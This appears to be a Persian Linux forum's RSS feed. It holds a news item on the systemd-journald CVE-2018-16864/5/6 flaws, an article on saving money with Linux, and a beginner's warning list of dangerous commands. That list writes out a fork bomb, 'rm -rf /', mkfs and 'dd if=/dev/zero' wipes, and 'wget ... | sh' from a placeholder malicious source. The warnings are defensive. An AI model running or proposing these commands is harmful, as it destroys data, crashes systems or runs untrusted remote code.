			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">محققان امنیت سایبری سه آسیب‌پذیری خطرناک در بخشی از سرویس سیستمی Systemd را کشف کرده‌اند که جزو کامپوننت‌های هسته‌ی سیستم‌عامل لینوکس است. این سرویس وظیفه‌ی مدیریت فرایندهای سیستمی بعد از اجرای مرحله‌ی Boot را برعهده دارد. آسیب‌پذیری گزارش‌شده بر سرویس Journald که وظیفه‌ی جمع‌آوری و ذخیره‌ی داده‌های ثبت رخداد را برعهده دارد، باعث می‌شود با اکسپلویت موفقیت‌آمیز، دسترسی سطح Root در ماشین هدف و درکنار آن، اطلاعات حساس سیستمی دراختیار نفوذگر قرار گیرد. تاکنون هیچ وصله‌ای برای این آسیب‌پذیری ارائه نشده است.<br />
<br />
بنابر اعلام شرکت Qualys، ازجمله شرکت‌های فعال در حوزه‌ی امنیت سایبری، دو آسیب‌پذیری تخریب حافظه را شناسایی کرده: اولی با شناسه‌ی CVE-2018-16864 از نوع Stack Buffer Overflow و دومی با شناسه‌ی CVE-2018-16865 از نوع Memory Allocation. همچنین، این شرکت آسیب‌پذیری Out-of-Bounds Error با شناسه‌ی CVE-2018-16866 را در هسته‌ی لینوکس یافته است. Qualys در ادامه اعلام کرده امکان اکسپلویت موفقیت‌آمیز آسیب‌پذیری‌های دوم و سوم ممکن است و می‌توان روی ماشین‌های x86 و x64 دسترسی Local Root Shell را از سیستم قربانی به‌دست آورد. اکسپلویت روی ماشین 32 بیتی سریع‌تر جواب می‌دهد و زمان پاسخ‌گویی آن حدود دَه دقیقه است؛، درحالی‌که روی ماشین 64 بیتی زمان پاسخگویی حدود هفتاد دقیقه است. همچنین Qualys بیان کرده به‌زودی اکسپلویت، PoC را برای این آسیب‌پذیری‌ها منتشر می‌کند؛ اما توضیحات بیشتر درباره‌ی چگونگی اکسپلویت‌شدن آن‌ها را اعلام نخواهد کرد.</div>
<br />
<div style="text-align: justify;" class="mycode_align">باتوجه‌به اطلاعات موجود، مشخص است سرویس سیستمی Systemd تمامی توزیع‌های لینوکسی آسیب‌پذیر است؛ اما توزیع‌های SUSE Linux Enterprise 15 و openSUSE Leap 15 و Fedora 28&amp;29 به‌دلیل کامپایل‌شدن بخش فضای کاربری (User Space) به‌وسیله‌ی کامپایلر GCC و استفاده از قابلیت امنیتی محافظت از حافظه به‌وسیله‌ی ساختار حفاظتی fStack Clash Protection در هنگام کامپایل‌کردن، امکان اکسپلویت‌شدن در آن‌ها مقدور نیست. هر سه آسیب‌پذیری منتشرشده بدون داشتن تعامل با کاربر، امکان اکسپلویت‌شدن را دارند که یکی از آ‌ن‌ها به‌صورت Local امکان اکسپلویت‌شدن را دارد و بقیه امکان اکسپلویت‌شدن ازطریق شبکه را دارد. این آسیب‌پذیری‌ها از زمانی‌ امکان اکسپلویت شدن داشته‌اند که Systemd نسخه‌های v201 و v230 داشته است.<br />
<br />
شایان ذکر است فقط آسیب‌پذیری CVE-2018-16866 که از نوع Information Leak است، در نسخه‌ی به‌روزرسانی‌شده‌ی systemd v240-1 رفع شده است. همچنین، RedHat این آسیب‌پذیری‌ها را در سطح Important گزارش کرده و امتیاز بالای ۷.۴ و ۷.۵ را به آن‌ها داده و آسیب‌پذیری OOB را در سطح Moderate و با امتیاز ۴.۳ معرفی کرده است. توزیع Red Hat Enterprise Linux 7 هر سه آسیب‌پذیری را دارد؛ اما توزیع RedHat Virtualization 4 فقط دو آسیب‌پذیری تخریب حافظه را دارد و آسیب‌پذیری OOB در آن وجود نخواهد داشت.<br />
<br />
<br />
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[سیستم عامل لینوکس چگونه به صرفه‌جویی اقتصادی کمک می‌کند]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=4224</link>
			<pubDate>Sun, 17 Dec 2017 00:16:32 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=60">farnaz</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=4224</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">خرید یک کامپیوتر جدید هیجان‌انگیز است؛ اما نه زمانی که مورد نیاز نیست و بودجه مالی کم و محدود است. چه کسی از پرداخت صدها دلار برای نرم‌افزار کامپیوتری لذت می‌برد؟ حتی وقتی که بخواهیم سرگرمی و تفریح داشته باشیم و یک بازی بخریم، صرف هزینه‌ی زیاد آزار‌دهنده است.<br />
<br />
یکی از راه‌های صرفه‌جویی، استفاده از لینوکس است؛ چرا که کاربران مجبور به پرداخت هزینه‌ی اضافه جهت خرید نرم‌افزار نیستند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">نرم‌افزار رایگان</span><br />
قسمت اعظم کدهایی که روی کامپیوتر با سیستم‌عامل لینوکس اجرا می‌شوند، رایگان و متن باز هستند؛ به این معنی که استفاده و ویرایش این نرم‌افزار به هر صورت که بخواهید رایگان و آزاد است. هنگامی که شما از لینوکس استفاده می‌کنید، نیازی به استفاده از کارت اعتباری برای خرید مجموعه‌ی نرم افزاری آفیس، ویرایشگر تصاویر یا برنامه‌ی حسابداری نیست.<br />
اگر‌چه کلاس‌های شما یک برنامه‌ی کاربردی مخصوص می‌خواهند؛ اما می‌توانید بدون پرداخت پول برای برنامه‌ی کامپیوتری، به کالج بروید. هم چنین می‌توانید با امور مالی برای مالیات‌ها همگام باشید بدون نیاز به اینکه مبلغی برای هزینه‌ی ابزار حسابداری به آن اضافه کنید.<br />
می‌توانید ویدئوها را ویرایش کنید، اسلایدها را برای یک ارائه کنار هم قرار دهید و ترکیب کنید بدون اینکه نگران باشید که برنامه‌های مورد نیاز در سیستم‌عامل شما وجود دارند. به بیان ساده‌تر، اپ استور لینوکس خود را باز کنید و هر آنچه نیاز دارید در آن‌جا جستجو کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">به‌روز‌رسانی رایگان سیستم‌عامل</span><br />
اگر به ارتباط اینترنتی پیوسته دسترسی داشته باشید، می‌توانید سیستم عامل لینوکس خود را رایگان به‌روز‌رسانی کنید. تاکنون این موضوع برای ویندوز و مک محقق نشده است. سیستم عامل مک ایکس تا زمان انتشار Mavericks در سال ۲۰۱۳، با پرداخت وجه به‌روزرسانی می‌شد و کاربران تا زمانی که مجبور به پرداخت نبودند از نسخه قدیمی سیستم عامل مک استفاده می‌کردند.<br />
نسخه‌های جدید ویندوز بسیار گران‌تر از مک ایکس بودند و همواره با تغییراتی منتشر می‌شدند که مورد انتظار مردم نبود. ویندوز ۱۰ نخستین نسخه‌ای است که به‌روزرسانی آن به‌صورت رایگان در دسترس است.<br />
از سوی دیگر، این شرکت‌ها می‌توانند نظر خود را تغییر دهند و در آینده شروع به گرفتن هزینه کنند. در لینوکس، گرفتن هزینه برای به‌روزرسانی متضاد با عملکرد همه‌ی مجموعه است. مطمئن باشید که برای نسخه‌ی بعدی نیازی به پرداخت هزینه نیست  و زمانی که شما اوبونتو یا سیستم عامل المنتری را دانلود می‌کنید این موضوع اعلام نمی‌شود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">هر چقدر سخت‌افزار قدیمی‌تر باشد بهتر است</span><br />
سیستم‌عامل‌های تجاری هر چند سال یکبار ما را به خرید لپ‌تاپ جدید تشویق می‌کنند. برای دسترسی به جدیدترین ویژگی‌ها، اغلب نیاز به دستگاهی دارید که در طول چند سال اخیر ساخته شده باشد. در لینوکس، عکس این مطلب صحیح است. لینوکس روی سخت افزار‌های جدیدتر، سریع‌تر اجرا می‌شود؛ اما در همه‌ی کامپیوترهای جدید، بلافاصله پس از نصب و بدون پیکربندی و برای همه‌ی کاربران اجرا نمی‌شود. توسعه دهندگان برای کار کردن روی محدودیت‌ها و پشتیبانی از سخت‌افزاری که زودتر از زمان مورد انتظار به آن دسترسی داشته باشند، اغلب به زمان نیاز دارند.<br />
گاهی اوقات آن‌ها هیچ‌گاه قادر به غلبه بر نبود درایورهای لازم نیستند. سخت افزارهای قدیمی‌تر مایل به رفع تمام مشکلات و نواقص هستند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">اجازه‌ی خرید دستگاه کارکرده و دست دوم می‌دهد</span><br />
زمانی که کامپیوتر با سیستم عامل لینوکس خود را کنار می‌گذارید، می‌توانید یک دستگاه جدید به‌صورت آنلاین سفارش دهید. اما اگر به دنبال صرفه‌جویی هستید، یک دستگاه قدیمی که ویندوز ایکس پی را اجرا می‌کند، با صد دلار بخرید و یک نسخه‌ی جدید لینوکس روی آن نصب کنید.<br />
هم‌چنین می‌توانید از کامپیوتر شخصی خود به مدت طولانی‌تر استفاده کنید. اگر هنوز یک یا دو لپ‌تاپ قدیمی دارید و فقط به این دلیل که نمی‌توانند به‌روزرسانی ویندوز هفت را انجام دهند، به این معنی نیست که به درد هیچ کار دیگری نمی‌خورد. نسخه‌های بسیاری از لینوکس وجود دارند که اجازه‌ی انجام بسیاری از کارها را می‌دهند. با نوآوری کافی، دستگاه کهنه و قدیمی می‌تواند مطلوب‌تر از حد انتظار شما باشد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">گیرنده‌ی دیجیتال یا مرکز رسانه‌ی خود را بسازید</span><br />
گیرنده‌های دیجیتال یک راه بسیار ارزان‌قیمت و در دسترس برای جایگزینی با کابل هستند. آن‌ها فضای کمتری روی یک کنسول رسانه اشغال می‌کنند و استفاده از آن‌ها اغلب ساده‌تر و به‌صرفه‌تر است؛ ولی اگر یک کامپیوتر رومیزی قدیمی در منزل دارید، نیازی به خرید گیرنده‌ی دیجیتال نیست و اگر ندارید، یک کامپیوتر <span style="font-weight: bold;" class="mycode_b">رزبری پای</span> با قیمت مشابه کروم کست، قابلیت‌های بیشتری در اختیارتان می‌گذارد. لینوکس را نصب کنید، گیرنده‌ی دیجیتال را به یک تلویزیون وصل کنید و از تجربه‌‌ای وسیع‌تر از آن چه می‌توانستید از روکو یا آمازون بگیرید، لذت ببرید. فایل‌های خود را از طریق شبکه‌ی محلی (LAN) با پی‌سی‌های دیگر، دستگاه‌های موبایل و حتی برخی گیرنده‌های دیجیتال، به اشتراک بگذارید.<br />
همچنین می‌توانید این محتوا را در سراسر وب منتشر و قابل دسترس کنید و از  پرداخت هزینه برای ذخیره‌سازی ابری بی‌نیاز شوید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">ارزان‌قیمت بازی کنید</span><br />
بسیاری ممکن است با ویندوز بازی کنند؛ اما سرگرمی‌های بسیاری در لینوکس می‌توان یافت. می‌توانید بازی‌های بسیار خوبی در Gog.com و Steam بیابید. این توزیع کنندگان همیشه فروش ادامه‌دار دارند که اجازه می‌دهد یک مجموعه‌ی بزرگ بدون صرف هزینه زیاد بسازید.<br />
اگر برای هامبل باندل صبر کنید، پول شما می‌تواند حتی بیشتر شود. از هر مسیری که بروید و پیش از هر کاری، مطمئن شوید که لینوکس آن بازی را پشتیبانی می‌کند و فراموش نکنید که اگر به ماوس و صفحه کلید علاقه ندارید، از کنترلر موردعلاقه‌ی خود را استفاده کنید.<br />
بسته به اینکه به چه چیزهایی علاقه دارید، ممکن است مجبور به پرداخت هزینه نباشید. اینجا فقط تعدادی بازی رایگان و متن باز وجود دارد؛ به عبارت دیگر می‌توانید همه‌ی بازی‌های ویندوزهای قدیمی و داس را بازی کنید.<br />
لینوکس فقط به بازی‌های خودش بسنده نکرده است و شما می‌توانید کامپیوتر خود را به یک سرور بازی تبدیل و دیگران را به بازی دعوت کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">هیچ اجباری برای جایگزینی سیستم عامل فعلی وجود ندارد</span><br />
اگر در حال حاضر از کاربران لینوکس نیستید، لازم نیست برای استفاده از این مزایا تغییر کاربری دهید. همین که یک کامپیوتر دیگر داشته باشید، دنیایی از امکانات برای شما قابل استفاده می‌شود. اما پس از اینکه استفاده از لینوکس برایتان راحت شد؛ زمانی که کامپیوتر فعلی شما از رده خارج شد، اجباری برای خریدن کامپیوتر ویندوز یا مک جدید نیست. لینوکس آن را به زندگی بر می‌گرداند و مطلوب نگه می‌دارد.<br />
<br />
<br />
<br />
<br />
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">خرید یک کامپیوتر جدید هیجان‌انگیز است؛ اما نه زمانی که مورد نیاز نیست و بودجه مالی کم و محدود است. چه کسی از پرداخت صدها دلار برای نرم‌افزار کامپیوتری لذت می‌برد؟ حتی وقتی که بخواهیم سرگرمی و تفریح داشته باشیم و یک بازی بخریم، صرف هزینه‌ی زیاد آزار‌دهنده است.<br />
<br />
یکی از راه‌های صرفه‌جویی، استفاده از لینوکس است؛ چرا که کاربران مجبور به پرداخت هزینه‌ی اضافه جهت خرید نرم‌افزار نیستند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">نرم‌افزار رایگان</span><br />
قسمت اعظم کدهایی که روی کامپیوتر با سیستم‌عامل لینوکس اجرا می‌شوند، رایگان و متن باز هستند؛ به این معنی که استفاده و ویرایش این نرم‌افزار به هر صورت که بخواهید رایگان و آزاد است. هنگامی که شما از لینوکس استفاده می‌کنید، نیازی به استفاده از کارت اعتباری برای خرید مجموعه‌ی نرم افزاری آفیس، ویرایشگر تصاویر یا برنامه‌ی حسابداری نیست.<br />
اگر‌چه کلاس‌های شما یک برنامه‌ی کاربردی مخصوص می‌خواهند؛ اما می‌توانید بدون پرداخت پول برای برنامه‌ی کامپیوتری، به کالج بروید. هم چنین می‌توانید با امور مالی برای مالیات‌ها همگام باشید بدون نیاز به اینکه مبلغی برای هزینه‌ی ابزار حسابداری به آن اضافه کنید.<br />
می‌توانید ویدئوها را ویرایش کنید، اسلایدها را برای یک ارائه کنار هم قرار دهید و ترکیب کنید بدون اینکه نگران باشید که برنامه‌های مورد نیاز در سیستم‌عامل شما وجود دارند. به بیان ساده‌تر، اپ استور لینوکس خود را باز کنید و هر آنچه نیاز دارید در آن‌جا جستجو کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">به‌روز‌رسانی رایگان سیستم‌عامل</span><br />
اگر به ارتباط اینترنتی پیوسته دسترسی داشته باشید، می‌توانید سیستم عامل لینوکس خود را رایگان به‌روز‌رسانی کنید. تاکنون این موضوع برای ویندوز و مک محقق نشده است. سیستم عامل مک ایکس تا زمان انتشار Mavericks در سال ۲۰۱۳، با پرداخت وجه به‌روزرسانی می‌شد و کاربران تا زمانی که مجبور به پرداخت نبودند از نسخه قدیمی سیستم عامل مک استفاده می‌کردند.<br />
نسخه‌های جدید ویندوز بسیار گران‌تر از مک ایکس بودند و همواره با تغییراتی منتشر می‌شدند که مورد انتظار مردم نبود. ویندوز ۱۰ نخستین نسخه‌ای است که به‌روزرسانی آن به‌صورت رایگان در دسترس است.<br />
از سوی دیگر، این شرکت‌ها می‌توانند نظر خود را تغییر دهند و در آینده شروع به گرفتن هزینه کنند. در لینوکس، گرفتن هزینه برای به‌روزرسانی متضاد با عملکرد همه‌ی مجموعه است. مطمئن باشید که برای نسخه‌ی بعدی نیازی به پرداخت هزینه نیست  و زمانی که شما اوبونتو یا سیستم عامل المنتری را دانلود می‌کنید این موضوع اعلام نمی‌شود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">هر چقدر سخت‌افزار قدیمی‌تر باشد بهتر است</span><br />
سیستم‌عامل‌های تجاری هر چند سال یکبار ما را به خرید لپ‌تاپ جدید تشویق می‌کنند. برای دسترسی به جدیدترین ویژگی‌ها، اغلب نیاز به دستگاهی دارید که در طول چند سال اخیر ساخته شده باشد. در لینوکس، عکس این مطلب صحیح است. لینوکس روی سخت افزار‌های جدیدتر، سریع‌تر اجرا می‌شود؛ اما در همه‌ی کامپیوترهای جدید، بلافاصله پس از نصب و بدون پیکربندی و برای همه‌ی کاربران اجرا نمی‌شود. توسعه دهندگان برای کار کردن روی محدودیت‌ها و پشتیبانی از سخت‌افزاری که زودتر از زمان مورد انتظار به آن دسترسی داشته باشند، اغلب به زمان نیاز دارند.<br />
گاهی اوقات آن‌ها هیچ‌گاه قادر به غلبه بر نبود درایورهای لازم نیستند. سخت افزارهای قدیمی‌تر مایل به رفع تمام مشکلات و نواقص هستند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">اجازه‌ی خرید دستگاه کارکرده و دست دوم می‌دهد</span><br />
زمانی که کامپیوتر با سیستم عامل لینوکس خود را کنار می‌گذارید، می‌توانید یک دستگاه جدید به‌صورت آنلاین سفارش دهید. اما اگر به دنبال صرفه‌جویی هستید، یک دستگاه قدیمی که ویندوز ایکس پی را اجرا می‌کند، با صد دلار بخرید و یک نسخه‌ی جدید لینوکس روی آن نصب کنید.<br />
هم‌چنین می‌توانید از کامپیوتر شخصی خود به مدت طولانی‌تر استفاده کنید. اگر هنوز یک یا دو لپ‌تاپ قدیمی دارید و فقط به این دلیل که نمی‌توانند به‌روزرسانی ویندوز هفت را انجام دهند، به این معنی نیست که به درد هیچ کار دیگری نمی‌خورد. نسخه‌های بسیاری از لینوکس وجود دارند که اجازه‌ی انجام بسیاری از کارها را می‌دهند. با نوآوری کافی، دستگاه کهنه و قدیمی می‌تواند مطلوب‌تر از حد انتظار شما باشد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">گیرنده‌ی دیجیتال یا مرکز رسانه‌ی خود را بسازید</span><br />
گیرنده‌های دیجیتال یک راه بسیار ارزان‌قیمت و در دسترس برای جایگزینی با کابل هستند. آن‌ها فضای کمتری روی یک کنسول رسانه اشغال می‌کنند و استفاده از آن‌ها اغلب ساده‌تر و به‌صرفه‌تر است؛ ولی اگر یک کامپیوتر رومیزی قدیمی در منزل دارید، نیازی به خرید گیرنده‌ی دیجیتال نیست و اگر ندارید، یک کامپیوتر <span style="font-weight: bold;" class="mycode_b">رزبری پای</span> با قیمت مشابه کروم کست، قابلیت‌های بیشتری در اختیارتان می‌گذارد. لینوکس را نصب کنید، گیرنده‌ی دیجیتال را به یک تلویزیون وصل کنید و از تجربه‌‌ای وسیع‌تر از آن چه می‌توانستید از روکو یا آمازون بگیرید، لذت ببرید. فایل‌های خود را از طریق شبکه‌ی محلی (LAN) با پی‌سی‌های دیگر، دستگاه‌های موبایل و حتی برخی گیرنده‌های دیجیتال، به اشتراک بگذارید.<br />
همچنین می‌توانید این محتوا را در سراسر وب منتشر و قابل دسترس کنید و از  پرداخت هزینه برای ذخیره‌سازی ابری بی‌نیاز شوید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">ارزان‌قیمت بازی کنید</span><br />
بسیاری ممکن است با ویندوز بازی کنند؛ اما سرگرمی‌های بسیاری در لینوکس می‌توان یافت. می‌توانید بازی‌های بسیار خوبی در Gog.com و Steam بیابید. این توزیع کنندگان همیشه فروش ادامه‌دار دارند که اجازه می‌دهد یک مجموعه‌ی بزرگ بدون صرف هزینه زیاد بسازید.<br />
اگر برای هامبل باندل صبر کنید، پول شما می‌تواند حتی بیشتر شود. از هر مسیری که بروید و پیش از هر کاری، مطمئن شوید که لینوکس آن بازی را پشتیبانی می‌کند و فراموش نکنید که اگر به ماوس و صفحه کلید علاقه ندارید، از کنترلر موردعلاقه‌ی خود را استفاده کنید.<br />
بسته به اینکه به چه چیزهایی علاقه دارید، ممکن است مجبور به پرداخت هزینه نباشید. اینجا فقط تعدادی بازی رایگان و متن باز وجود دارد؛ به عبارت دیگر می‌توانید همه‌ی بازی‌های ویندوزهای قدیمی و داس را بازی کنید.<br />
لینوکس فقط به بازی‌های خودش بسنده نکرده است و شما می‌توانید کامپیوتر خود را به یک سرور بازی تبدیل و دیگران را به بازی دعوت کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">هیچ اجباری برای جایگزینی سیستم عامل فعلی وجود ندارد</span><br />
اگر در حال حاضر از کاربران لینوکس نیستید، لازم نیست برای استفاده از این مزایا تغییر کاربری دهید. همین که یک کامپیوتر دیگر داشته باشید، دنیایی از امکانات برای شما قابل استفاده می‌شود. اما پس از اینکه استفاده از لینوکس برایتان راحت شد؛ زمانی که کامپیوتر فعلی شما از رده خارج شد، اجباری برای خریدن کامپیوتر ویندوز یا مک جدید نیست. لینوکس آن را به زندگی بر می‌گرداند و مطلوب نگه می‌دارد.<br />
<br />
<br />
<br />
<br />
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[دستورات و کدهای خطرناک لینوکس که باید مراقب آنها باشید]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=3738</link>
			<pubDate>Mon, 23 Oct 2017 00:33:57 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=40">elshan</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=3738</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">فرامین <span style="font-weight: bold;" class="mycode_b">ترمینال</span> یا <span style="font-weight: bold;" class="mycode_b">شل</span> در <span style="font-weight: bold;" class="mycode_b">لینوکس</span> بسیار قدرتمند هستند و تنها یک فرمان ساده می‎تواند منجر به حذف یک فایل، فولدر یا موارد خطرات دیگر شود. در برخی از موارد لینوکس حتی برای دریافت تاییدیه اجرای یک فرمان هیچ سوالی نمی‎پرسد و با اجرای مستقیم آن باعث از بین رفتن اطلاعات ارزشمند شما می‎شود. </div>
<div style="text-align: justify;" class="mycode_align">
معمولا تازه کاران لینوکس برای یادگیری فرامین به وب مراجعه می‎کنند و اگر منابع مورد اطمینان نباشد ممکن است با پیشنهاداتی برای اجرای برخی از فرامین توسط برخی از کاربران مواجه شوند که برای شوخی و سرگرمی‎ ارسال شده‎اند، اما برای این تازه کاران نه تنها شوخی نیست بلکه باعث دردسر آنها می‎شود.<br />
نکته مهم این که بعضی از این فرامین تنها در صورت استفاده شدن با پیشوند sudo در اوبونتو می‎توانند خطرناک باشند. در توزیع‎های دیگر لینوکس نیز خیلی از فرامین تنها در صورتی که به عنوان فرامین ریشه اجرا شوند خطرناک هستند.<br />
<br />
ما برخی از فرامین لینوکس که می‎تواند برای سیستم شما مضر باشد را گردآوری کرده‎ایم تا به شما کمک کند از آنها دوری کنید. به یاد داشته باشید كه برخی از آنها واقعا خطرناک هستند و حتی می‎توانند به روش‎های مختلف برای ایجاد دستورات جدید که صدمات بیشتری ایجاد می‎کند تغییر داده شوند.<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. فرمان Fork Bomb در لینوکس</span><br />
: (){ :|: &amp; };: که با عنوان Fork Bomb نیز شناخته می‎شود یک حمله انکار سرویس در مقابل سیستم لینوکس است. : (){ :|: &amp; };: یک تابع bash است. به محض اجرا خود را چندین بار تکرار می‎کند تا سیستم از کار بیافتد.<br />
شما برای رهایی از آن تنها باید سیستم را ری‎استارت کنید. بنابراین در زمان اجرای این فرمان در پوسته لینوکس خود مراقب باشید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. فرمان mv folder/dev/null</span><br />
mv folder/dev/null یکی دیگر از فرامین خطرناک است. Dev/null یا null device یک فایل دیوایس است که تمام داده‎های نوشته شده روی آن را پاک می‎کند، اما گزارش می‎دهد که عملیات نوشتن با موفقیت انجام شده است. از این فرمان به عنوان bit bucked یا black hole نیز یاد می‎شود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. فرمان rm –rf</span><br />
فرمان rm –rf یک راه سریع برای حذف یک فولدر و محتویات درون آن در سیستم عامل لینوکس است. اگر شما روش صحیح استفاده از آن را بلد نباشید ممکن است به یک فرمان خطرات برای سیستم تبدیل شود. معروف‎ترین ترکیبات و گزینه‎های مورد استفاده با فرمان rm –rf شامل این موارد هستند:<br />
<ul class="mycode_list"><li>فرمان rm برای پاک کردن فایل‎ها در سیستم لینوکس استفاده می‎شود.<br />
</li>
<li>فرمان rm –f فایل‎های فقط خواندنی موجود در یک فولدر را بدون هیچ پیغام هشدارهای حذف می‎کند.<br />
</li>
<li>فرمان rm –r محتوای یک فولدر را حذف می‎کند.<br />
</li>
<li>فرمان rm –d برای پاک کردن یک دایرکتوری خالی استفاده می‎شود و اگر این دایرکتوری خالی نباشد از حذف آن اجتناب می‎کند.<br />
</li>
<li>فرمان rm -rf/ برای حذف اجباری (حتی اگر در برابر بازنويسی محافظت شده باشد) محتوای دایرکتوری ریشه و زیر فولدرهای آن استفاده می‎شود.<br />
</li>
<li>فرمان rm -rf* برای حذف اجباری تمام محتوای فولدر جاری و زیر فولدرهای آن استفاده می‎شود.<br />
</li>
<li>فرمان rm -rf. نیز برای حذف اجباری تمام محتوای فولدر جاری و زیر فولدرهای آن استفاده می‎شود. می‎توان از فرمان rm -r.[^.]* نیز استفاده کرد.<br />
</li>
<li>فرمان rm –i برای حذف فایل‎ها و فولدرها استفاده می‎شود اما قبل از حذف با پیغام به شما هشدار می‎دهد.<br />
</li>
</ul>
<span style="font-weight: bold;" class="mycode_b">4. فرمان mkfs</span><br />
اگر شما هدفmkfs  را به درستی نشناسید می‎تواند به یک فرمان خطرناک تبدیل شود. هر چیزی که بعد از mkfs نوشته می‎شود فرمت شده و با سیستم فایل لینوکس خالی جایگزین می‎شود.<br />
تمام فرامین فهرست شده در زیر هارد درايو شما را فرمت خواهد کرد و به مجوز مدیریتی نیاز دارد:<br />
<ul class="mycode_list"><li>mkfs<br />
</li>
<li>mkfs.ext3<br />
</li>
<li>mkfs.bfs<br />
</li>
<li>mkfs.ext2<br />
</li>
<li>mkfs.minix<br />
</li>
<li>mkfs.msdos<br />
</li>
<li>mkfs.reiserfs<br />
</li>
<li>mkfs.vfat<br />
</li>
</ul>
فرمان mkfs.cramfs همان کار فرامین بالا را انجام می‎دهد اما برای اجرا شدن به مجوز مدیریتی احتیاج ندارد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">5. بمب Tar</span><br />
از فرمان Tar برای جمع آوری چندین فایل داخل یک فایل واحد (یا فایل آرشیو) با فرمت  .tar استفاده می‎شود. اما با این فرمان می‎توان یک بمب Tape Archive (Tar) ساخت.<br />
در یک فایل آرشیو که با هزاران یا حتی میلیون‎ها فایل هم نام با فایل‎های موجود در دایرکتوری جاری پر شده است در زمان استخراج این فایل‎ها با مشکل مواجه خواهید شد. شما می‎توانید با ساخت یک دایرکتوری محافظ در زمان دریافت یک فایل tar از گرفتار شدن در وضعیت بمب tar جلوگیری کنید.<br />
اگر یک فایل tar به این وضعیت دچار شد شما به راحتی با حذف این دایرکتوری تازه ساخته شده می‎توانید از دست آن خلاص شوید. یک راه دیگر برای جلوگیری از انفجار بمب tar استفاده از گزينه –t برای فهرست کردن تمام محتوای یک فایل tar است که اطلاعاتی در مورد محتوای داخل این فایل tar در اختیار شما قرار می‎دهد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">6. فرمان dd</span><br />
از فرمان dd برای کپی و تبدیل کردن پارتيشن‎های هارد دیسک استفاده می‎شود. اما اگر شما مقصد را به درستی تعیین نکنید می‎تواند آسیب رسان شود.<br />
این فرمان ممکن است به یکی از این اشکال باشد:<br />
<ul class="mycode_list"><li>dd if=/dev/hda of=/dev/hdb<br />
</li>
<li>dd if=/dev/hda of=/dev/sdb<br />
</li>
<li>dd if=something of=/dev/hda<br />
</li>
<li>dd if=something of=/dev/sda<br />
</li>
</ul>
فرمان زير نیز کل هارد درایو primary را اصطلاحا صفر می‎کند:<br />
<br />
<div style="text-align: left;" class="mycode_align"> dd if=/dev/zero of=/dev/had</div>
<br />
<span style="font-weight: bold;" class="mycode_b">7. کد Shell Script</span><br />
شما ممکن است با دانلود و اجرای یک اسکریپت پوسته مخرب قربانی آن شوید. این اسکریپت ممکن است شامل کدهای مخرب و خطرناک در داخل خود باشد. فرمت این فرمان ممکن است چیزی شبیه به این باشد:<br />
<br />
<div style="text-align: left;" class="mycode_align"> wget http://some_malicious_source -O- | sh</div>
<br />
فرمان wget این اسکریپت را دانلود می‎کند و sh باعث اجرا شدن فایل دانلود شده می‎شود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">8. کدهای منبع مخرب</span><br />
ممکن است شخصی به شما یک کد منبع را پیشنهاد کند و از شما بخواهد آن را کامپایل کنید. شاید در ظاهر این کد طبیعی به نظر برسد اما در واقع کدهای مخرب داخل حجم زیادی از کدهای منبع پنهان شده است و می‎تواند به سیستم شما صدمه بزند. برای جلوگیری از قربانی شدن توسط این نوع از حملات، این کدهای منبع پیشنهادی را تنها از منابع معتبر و شناخته شده قبول کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">9. بمب Decompression</span><br />
شما ممکن است یک فایل فشرده شده دریافت کنید که در ظاهر حجم زیادی ندارد اما محتوای درون آن با سطح فشرده سازی بالا پر شده است. به محض این که این فایل را از حالت فشرده خارج می‎کنید حجم انبوهی از داده هارد درايو شما را پر کرده و عملکرد سیستم شما را پایین می‎آورد. برای جلوگیری از این وضعیت همیشه داده‎های مورد نظر خود را از منابع معتبر دریافت کنید.<br />
<br />
<br />
<br />
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">فرامین <span style="font-weight: bold;" class="mycode_b">ترمینال</span> یا <span style="font-weight: bold;" class="mycode_b">شل</span> در <span style="font-weight: bold;" class="mycode_b">لینوکس</span> بسیار قدرتمند هستند و تنها یک فرمان ساده می‎تواند منجر به حذف یک فایل، فولدر یا موارد خطرات دیگر شود. در برخی از موارد لینوکس حتی برای دریافت تاییدیه اجرای یک فرمان هیچ سوالی نمی‎پرسد و با اجرای مستقیم آن باعث از بین رفتن اطلاعات ارزشمند شما می‎شود. </div>
<div style="text-align: justify;" class="mycode_align">
